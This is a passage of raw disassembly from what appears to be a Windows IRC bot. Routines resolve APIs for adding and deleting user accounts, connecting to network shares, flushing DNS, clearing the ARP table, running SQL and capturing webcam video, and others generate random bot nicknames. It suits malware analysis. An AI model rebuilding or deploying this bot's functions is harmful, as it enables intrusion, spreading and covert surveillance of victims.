call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4CB034, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov dword_4CAED0, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_4CAE7C, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4CAE6C, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4CAF04, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4CAFFC, eax call esi push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4CAFB4, eax call esi cmp dword_4CAE98, ebx mov dword_4CAED8, eax jz short loc_40A582 cmp dword_4CAE70, ebx jz short loc_40A582 cmp dword_4CAEE8, ebx jz short loc_40A582 cmp dword_4CAF1C, ebx jz short loc_40A582 cmp dword_4CB034, ebx jz short loc_40A582 cmp dword_4CAED0, ebx jz short loc_40A582 cmp dword_4CAE7C, ebx jz short loc_40A582 cmp dword_4CAE6C, ebx jz short loc_40A582 cmp dword_4CAF04, ebx jz short loc_40A582 cmp dword_4CAFFC, ebx jz short loc_40A582 cmp dword_4CAFB4, ebx jnz short loc_40A58C jmp short loc_40A582 ; --------------------------------------------------------------------------- loc_40A577: ; CODE XREF: sub_409B12+969j nop call near ptr 26807C8h mov dword_4CB0A0, eax loc_40A582: ; CODE XREF: sub_409B12+A11j ; sub_409B12+A19j ... mov dword_4CB09C, 1 loc_40A58C: ; CODE XREF: sub_409B12+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A5C1 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4CAEC0, eax call esi cmp dword_4CAEC0, ebx mov dword_4CAF9C, eax jz short loc_40A5CC cmp eax, ebx jnz short loc_40A5D6 jmp short loc_40A5CC ; --------------------------------------------------------------------------- loc_40A5C1: ; CODE XREF: sub_409B12+A85j nop call near ptr 26807C8h mov dword_4CB0A8, eax loc_40A5CC: ; CODE XREF: sub_409B12+AA7j ; sub_409B12+AADj mov dword_4CB0A4, 1 loc_40A5D6: ; CODE XREF: sub_409B12+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A60B push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4CB020, eax call esi cmp dword_4CB020, ebx mov dword_4CB01C, eax jz short loc_40A616 cmp eax, ebx jnz short loc_40A620 jmp short loc_40A616 ; --------------------------------------------------------------------------- loc_40A60B: ; CODE XREF: sub_409B12+ACFj nop call near ptr 26807C8h mov dword_4CB0B0, eax loc_40A616: ; CODE XREF: sub_409B12+AF1j ; sub_409B12+AF7j mov dword_4CB0AC, 1 loc_40A620: ; CODE XREF: sub_409B12+AF5j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A67F push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4CB04C, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4CB044, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4CB00C, eax call esi cmp dword_4CB04C, ebx mov dword_4CAEDC, eax jz short loc_40A68A cmp dword_4CB044, ebx jz short loc_40A68A cmp dword_4CB00C, ebx jz short loc_40A68A cmp eax, ebx jnz short loc_40A694 jmp short loc_40A68A ; --------------------------------------------------------------------------- loc_40A67F: ; CODE XREF: sub_409B12+B19j nop call near ptr 26807C8h mov dword_4CB0B8, eax loc_40A68A: ; CODE XREF: sub_409B12+B55j ; sub_409B12+B5Dj ... mov dword_4CB0B4, 1 loc_40A694: ; CODE XREF: sub_409B12+B69j push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A6C9 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4CAF10, eax call esi cmp dword_4CAF10, ebx mov dword_4CB018, eax jz short loc_40A6D4 cmp eax, ebx jnz short loc_40A6DE jmp short loc_40A6D4 ; --------------------------------------------------------------------------- loc_40A6C9: ; CODE XREF: sub_409B12+B8Dj nop call near ptr 26807C8h mov dword_4CB0C0, eax loc_40A6D4: ; CODE XREF: sub_409B12+BAFj ; sub_409B12+BB5j mov dword_4CB0BC, 1 loc_40A6DE: ; CODE XREF: sub_409B12+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A767 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4CAFE0, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4CB02C, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4CAF68, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4CAF20, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4CAFC0, eax call esi cmp dword_4CAFE0, ebx mov dword_4CAF30, eax jz short loc_40A772 cmp dword_4CB02C, ebx jz short loc_40A772 cmp dword_4CAF68, ebx jz short loc_40A772 cmp dword_4CAF20, ebx jz short loc_40A772 cmp dword_4CAFC0, ebx jz short loc_40A772 cmp eax, ebx jnz short loc_40A77C jmp short loc_40A772 ; --------------------------------------------------------------------------- loc_40A767: ; CODE XREF: sub_409B12+BD7j nop call near ptr 26807C8h mov dword_4CB0C8, eax loc_40A772: ; CODE XREF: sub_409B12+C2Dj ; sub_409B12+C35j ... mov dword_4CB0C4, 1 loc_40A77C: ; CODE XREF: sub_409B12+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A7B1 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4CAEF4, eax call esi cmp dword_4CAEF4, ebx mov dword_4CAFD4, eax jz short loc_40A7BC cmp eax, ebx jnz short loc_40A7C6 jmp short loc_40A7BC ; --------------------------------------------------------------------------- loc_40A7B1: ; CODE XREF: sub_409B12+C75j nop call near ptr 26807C8h mov dword_4CB0D0, eax loc_40A7BC: ; CODE XREF: sub_409B12+C97j ; sub_409B12+C9Dj mov dword_4CB0CC, 1 loc_40A7C6: ; CODE XREF: sub_409B12+C9Bj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_409B12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A7CE proc near ; CODE XREF: sub_401ACD+2536p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_4CB064, esi push edi mov edi, [ebp+arg_8] jz short loc_40A816 push dword_4CB068 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A816: ; CODE XREF: sub_40A7CE+1Aj cmp dword_4CB06C, esi jz short loc_40A84A push dword_4CB070 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A84A: ; CODE XREF: sub_40A7CE+4Ej cmp dword_4CB074, esi jz short loc_40A87E push dword_4CB078 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A87E: ; CODE XREF: sub_40A7CE+82j cmp dword_4CB07C, esi jz short loc_40A8B2 push dword_4CB080 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A8B2: ; CODE XREF: sub_40A7CE+B6j cmp dword_4CB084, esi jz short loc_40A8E6 push dword_4CB088 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A8E6: ; CODE XREF: sub_40A7CE+EAj cmp dword_4CB08C, esi jz short loc_40A91A push dword_4CB090 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A91A: ; CODE XREF: sub_40A7CE+11Ej cmp dword_4CB094, esi jz short loc_40A94E push dword_4CB098 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A94E: ; CODE XREF: sub_40A7CE+152j cmp dword_4CB09C, esi jz short loc_40A982 push dword_4CB0A0 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A982: ; CODE XREF: sub_40A7CE+186j cmp dword_4CB0A4, esi jz short loc_40A9B6 push dword_4CB0A8 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A9B6: ; CODE XREF: sub_40A7CE+1BAj cmp dword_4CB0AC, esi jz short loc_40A9EA push dword_4CB0B0 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A9EA: ; CODE XREF: sub_40A7CE+1EEj cmp dword_4CB0B4, esi jz short loc_40AA1E push dword_4CB0B8 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA1E: ; CODE XREF: sub_40A7CE+222j cmp dword_4CB0BC, esi jz short loc_40AA52 push dword_4CB0C0 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA52: ; CODE XREF: sub_40A7CE+256j cmp dword_4CB0C4, esi jz short loc_40AA86 push dword_4CB0C8 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA86: ; CODE XREF: sub_40A7CE+28Aj cmp dword_4CB0CC, esi jz short loc_40AABA push dword_4CB0D0 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AABA: ; CODE XREF: sub_40A7CE+2BEj lea eax, [ebp+var_200] push offset unk_42D364 push eax call sub_41B886 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40AAE7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 14h loc_40AAE7: ; CODE XREF: sub_40A7CE+302j lea eax, [ebp+var_200] push eax call sub_4151AC pop ecx pop edi pop esi pop ebx leave retn sub_40A7CE endp ; =============== S U B R O U T I N E ======================================= sub_40AAF9 proc near ; CODE XREF: sub_4017ED+4Fp ; sub_401ACD+5C95p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CAFE4 cmp eax, 0FFFFFFFFh jnz short locret_40AB21 push [esp+arg_0] call dword_4CB028 test eax, eax jnz short loc_40AB1A or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40AB1A: ; CODE XREF: sub_40AAF9+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40AB21: ; CODE XREF: sub_40AAF9+Dj retn sub_40AAF9 endp ; =============== S U B R O U T I N E ======================================= sub_40AB22 proc near ; CODE XREF: sub_4017ED+D6p mov ecx, dword_4CAEC0 xor eax, eax test ecx, ecx jz short locret_40AB30 call ecx locret_40AB30: ; CODE XREF: sub_40AB22+Aj retn sub_40AB22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB31 proc near ; CODE XREF: sub_401ACD:loc_403F5Dp var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4CB020 mov ecx, eax sub ecx, edi jz loc_40ABF7 sub ecx, 32h jz loc_40ABF0 sub ecx, 48h jz short loc_40AB91 sub ecx, 6Eh jz short loc_40AB8A loc_40AB73: ; CODE XREF: sub_40AB31+8Bj push eax lea eax, [ebp+var_88] push offset unk_42D578 push eax call sub_41B886 add esp, 0Ch jmp short loc_40ABD1 ; --------------------------------------------------------------------------- loc_40AB8A: ; CODE XREF: sub_40AB31+40j push offset unk_42D554 jmp short loc_40ABC3 ; --------------------------------------------------------------------------- loc_40AB91: ; CODE XREF: sub_40AB31+3Bj push [ebp+var_8] call sub_41B4D5 push [ebp+var_8] mov esi, eax push edi push esi call sub_41B590 add esp, 10h cmp esi, edi jz short loc_40ABBE lea eax, [ebp+var_8] push ebx push eax push esi call dword_4CB020 cmp eax, edi jz short loc_40ABF7 jmp short loc_40AB73 ; --------------------------------------------------------------------------- loc_40ABBE: ; CODE XREF: sub_40AB31+79j push offset unk_42D524 loc_40ABC3: ; CODE XREF: sub_40AB31+5Ej ; sub_40AB31+C4j lea eax, [ebp+var_88] push eax call sub_41B886 pop ecx pop ecx loc_40ABD1: ; CODE XREF: sub_40AB31+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_4151AC pop ecx loc_40ABE1: ; CODE XREF: sub_40AB31+C8j ; sub_40AB31+DCj push esi call sub_41B0B1 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40ABF0: ; CODE XREF: sub_40AB31+32j push offset unk_42D4F4 jmp short loc_40ABC3 ; --------------------------------------------------------------------------- loc_40ABF7: ; CODE XREF: sub_40AB31+29j ; sub_40AB31+89j cmp [esi], edi jbe short loc_40ABE1 lea ebx, [esi+4] loc_40ABFE: ; CODE XREF: sub_40AB31+DAj push ebx call dword_4CB01C inc edi add ebx, 18h cmp edi, [esi] jb short loc_40ABFE jmp short loc_40ABE1 sub_40AB31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC0F proc near ; CODE XREF: sub_401ACD+2247p ; sub_401ACD+2398p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4CAF48 movzx eax, [ebp+var_D] push eax mov esi, offset dword_4CB0D4 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41B886 add esp, 18h mov eax, esi pop esi leave retn sub_40AC0F endp ; =============== S U B R O U T I N E ======================================= sub_40AC68 proc near ; CODE XREF: sub_412B08+24Cp ; sub_412B08+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AC91 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AC84: ; CODE XREF: sub_40AC68+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AC84 pop edi jmp short loc_40AC95 ; --------------------------------------------------------------------------- loc_40AC91: ; CODE XREF: sub_40AC68+Aj mov edx, [esp+4+arg_0] loc_40AC95: ; CODE XREF: sub_40AC68+27j test esi, esi pop esi jz short loc_40AC9F movzx ecx, byte ptr [edx] add eax, ecx loc_40AC9F: ; CODE XREF: sub_40AC68+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AC68 endp ; =============== S U B R O U T I N E ======================================= sub_40ACB5 proc near ; CODE XREF: sub_40B08D+49p ; DATA XREF: ___:off_42D5C0o arg_0 = dword ptr 4 push esi push edi nop call near ptr 26905FEh push eax call sub_41B8D8 pop ecx call sub_41B8E2 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+8+arg_0] push off_42D628[edx*4] push offset aS_1 ; "%s" push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AD1D loc_40ACF7: ; CODE XREF: sub_40ACB5+66j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B494 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ACF7 loc_40AD1D: ; CODE XREF: sub_40ACB5+40j mov eax, edi pop edi pop esi retn sub_40ACB5 endp ; --------------------------------------------------------------------------- dw 5756h db 90h db 0E8h, 0D4h, 58h ; --------------------------------------------------------------------------- sub [edx], al push eax call sub_41B8D8 mov edi, [esp+10h] mov dword ptr [esp], offset asc_42913C ; "-" push offset aS_1 ; "%s" push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AD7B loc_40AD55: ; CODE XREF: ___:0040AD79j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B494 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AD55 loc_40AD7B: ; CODE XREF: ___:0040AD53j mov eax, edi pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_40AD80 proc near ; CODE XREF: sub_401ACD+69CCp arg_0 = dword ptr 4 push ebx push esi push edi nop call near ptr 26905FEh push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_429098 test esi, esi jle short loc_40ADC3 loc_40ADAD: ; CODE XREF: sub_40AD80+41j call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40ADAD loc_40ADC3: ; CODE XREF: sub_40AD80+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40AD80 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h nop call near ptr 26905FEh push eax call sub_41B8D8 pop ecx lea eax, [ebp-8] mov esi, offset byte_431280 push eax push esi call near ptr 26C0000h nop movsx eax, byte_431280 push 41h pop ecx push 1 pop edx loc_40AE09: ; CODE XREF: ___:0040AE14j cmp eax, ecx jnz short loc_40AE10 mov [ebp-4], edx loc_40AE10: ; CODE XREF: ___:0040AE0Bj inc ecx cmp ecx, 5Bh jl short loc_40AE09 push 61h pop ecx loc_40AE19: ; CODE XREF: ___:0040AE24j cmp eax, ecx jnz short loc_40AE20 mov [ebp-4], edx loc_40AE20: ; CODE XREF: ___:0040AE1Bj inc ecx cmp ecx, 7Bh jl short loc_40AE19 mov edi, [ebp+8] push esi push 1Ch push edi call sub_41B980 xor esi, esi add esp, 0Ch cmp dword_429098, esi jle short loc_40AE65 loc_40AE3F: ; CODE XREF: ___:0040AE63j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B494 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AE3F loc_40AE65: ; CODE XREF: ___:0040AE3Dj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call near ptr 26905FEh nop push eax call sub_41B8D8 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h nop call near ptr 26D0000h mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_431284 push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AEDA loc_40AEB4: ; CODE XREF: ___:0040AED8j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B494 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AEB4 loc_40AEDA: ; CODE XREF: ___:0040AEB2j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset dword_43D158 mov dword ptr [ebp-94h], 94h nop call near ptr 26E0000h nop call near ptr 26905FEh push eax call sub_41B8D8 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40AF64 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF44 cmp dword ptr [ebp-84h], 1 jnz short loc_40AF34 mov esi, offset dword_4312AC loc_40AF34: ; CODE XREF: ___:0040AF2Dj cmp dword ptr [ebp-84h], 2 jnz short loc_40AFA0 mov esi, offset dword_4312A8 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF44: ; CODE XREF: ___:0040AF24j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40AF54 mov esi, offset dword_4312A4 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF54: ; CODE XREF: ___:0040AF4Bj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40AF9B mov esi, offset dword_4312A0 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF64: ; CODE XREF: ___:0040AF1Bj cmp dword ptr [ebp-90h], 5 jnz short loc_40AF9B cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF7D mov esi, offset dword_43129C jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF7D: ; CODE XREF: ___:0040AF74j cmp dword ptr [ebp-8Ch], 1 jnz short loc_40AF8D mov esi, offset dword_431298 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF8D: ; CODE XREF: ___:0040AF84j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_431294 jz short loc_40AFA0 loc_40AF9B: ; CODE XREF: ___:0040AF5Bj ; ___:0040AF6Bj mov esi, offset dword_431290 loc_40AFA0: ; CODE XREF: ___:0040AF3Bj ; ___:0040AF42j ... mov edi, [ebp+8] push esi push offset dword_431288 push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AFE4 loc_40AFBE: ; CODE XREF: ___:0040AFE2j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B494 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AFBE loc_40AFE4: ; CODE XREF: ___:0040AFBCj mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AFEA proc near ; CODE XREF: sub_40B08D+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi nop call near ptr 26905FEh xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_40B039 call dword_4CAFB0 test eax, eax mov eax, offset dword_4312B8 jnz short loc_40B022 mov eax, offset dword_43D158 loc_40B022: ; CODE XREF: sub_40AFEA+31j push eax push esi push offset dword_4312B0 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41B980 add esp, 14h jmp short loc_40B059 ; --------------------------------------------------------------------------- loc_40B039: ; CODE XREF: sub_40AFEA+22j call dword_4CAFB0 test eax, eax mov eax, offset dword_4312B8 jnz short loc_40B04D mov eax, offset dword_43D158 loc_40B04D: ; CODE XREF: sub_40AFEA+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_41B886 pop ecx pop ecx loc_40B059: ; CODE XREF: sub_40AFEA+4Dj lea eax, [ebp+var_1C] push eax call sub_41AFE0 pop ecx cmp eax, 2 pop esi jbe short loc_40B088 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41C1E0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_41B5F0 add esp, 18h loc_40B088: ; CODE XREF: sub_40AFEA+7Dj mov eax, [ebp+arg_0] leave retn sub_40AFEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B08D proc near ; CODE XREF: sub_4017ED+7Fp ; sub_401955+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_42D5BC loc_40B099: ; CODE XREF: sub_40B08D+3Fj cmp [ebp+arg_C], 0 jz short loc_40B0B4 lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_41C070 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B0BE ; --------------------------------------------------------------------------- loc_40B0B4: ; CODE XREF: sub_40B08D+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40B0BE: ; CODE XREF: sub_40B08D+25j test eax, eax jnz short loc_40B0D0 add esi, 14h inc edi cmp esi, offset off_42D634 jb short loc_40B099 jmp short loc_40B0DE ; --------------------------------------------------------------------------- loc_40B0D0: ; CODE XREF: sub_40B08D+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_42D5C0[eax*4] pop ecx loc_40B0DE: ; CODE XREF: sub_40B08D+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40B0F1 push [ebp+arg_0] call sub_40AFEA pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40B0F1: ; CODE XREF: sub_40B08D+57j mov eax, [ebp+arg_0] pop ebp retn sub_40B08D endp ; =============== S U B R O U T I N E ======================================= sub_40B0F6 proc near ; CODE XREF: ___:00401599p ; ___:004015D8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43DCE0 loc_40B0FE: ; CODE XREF: sub_40B0F6+18j cmp byte ptr [eax], 0 jz short loc_40B112 add eax, 234h inc edi cmp eax, offset dword_4CACE0 jl short loc_40B0FE jmp short loc_40B15D ; --------------------------------------------------------------------------- loc_40B112: ; CODE XREF: sub_40B0F6+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_43DCE0[esi] push eax call sub_41B5F0 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_43DEE0[esi], eax and dword_43DEE4[esi], 0 mov eax, [esp+8+arg_8] and dword_43DEE8[esi], 0 mov dword_43DEEC[esi], eax and byte_43DEF8[esi], 0 pop esi loc_40B15D: ; CODE XREF: sub_40B0F6+1Aj mov eax, edi pop edi retn sub_40B0F6 endp ; --------------------------------------------------------------------------- byte_40B161 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2989o dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h, 6C858D00h, 0FFFFFFFFh dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh dd 0C4830000h, 90006A14h, 2D58B2E8h, 555E5F02h, 0EC81EC8Bh dd 200h, 6A5756h, 681075FFh, 4313B8h, 0FF0C75FFh, 9FE80875h dd 83FFFFE8h, 0FF3314C4h, 43DCE0BEh, 3E8000h, 7D833C74h dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h dd 0C1C468FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h, 0C68124C4h dd 234h, 0E0FE8147h, 7C004CACh, 0C95E5FB0h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40B231 proc near ; CODE XREF: sub_401ACD+7BA4p ; sub_40B2BF+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B2B9 cmp esi, 400h jge short loc_40B2B9 imul 